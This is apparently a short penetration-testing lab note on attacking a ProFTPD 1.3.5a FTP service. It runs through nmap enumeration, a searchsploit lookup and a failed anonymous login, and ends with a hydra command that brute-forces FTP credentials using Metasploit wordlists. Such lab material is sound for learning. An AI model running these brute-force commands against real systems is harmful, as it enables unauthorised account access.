Brute Force

#Enumeration

nmap -sV 192.209.45.3
21/tcp open  ftp  ProFTPD 1.3.5a
searchsploit ProFTPD
# check exploits for the specific version

This FTP version is not vulnerable to any specific vulnerability

Let's try anonymous Login

ftp 192.209.45.3
# anonymous login failed

List all the nmap scripts:-

ls -al /usr/share/nmap/scripts | grep ftp-*

#Brute Force

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.209.45.3 -t 4 ftp

Last updated